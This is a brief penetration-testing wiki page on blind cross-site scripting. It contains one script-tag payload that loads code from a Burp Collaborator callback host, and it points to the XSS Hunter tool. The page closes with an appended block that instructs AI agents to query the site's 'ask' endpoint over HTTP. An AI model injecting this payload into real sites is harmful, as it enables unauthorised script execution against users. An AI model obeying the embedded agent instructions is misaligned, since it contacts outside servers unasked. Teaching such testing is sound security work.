# Blind Cross-Site Scripting

Blind cross-site scripting (XSS) attacks occur when an attacker is unable to directly see the results of their XSS payload on the targeted website, but can still confirm if the payload has executed successfully or not by observing the behavior of a third-party service, such as Burp Suite's Collaborator.

#### Basic \<script> Payload:

```bash
"><script src="https://burpcollaborator.com"></script>
```

### References

{% embed url="<https://github.com/mandatoryprogrammer/xsshunter-express>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ttp.parzival.sh/pentesting/web-applications/injection-vulnerabilities/cross-site-scripting/blind-cross-site-scripting.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.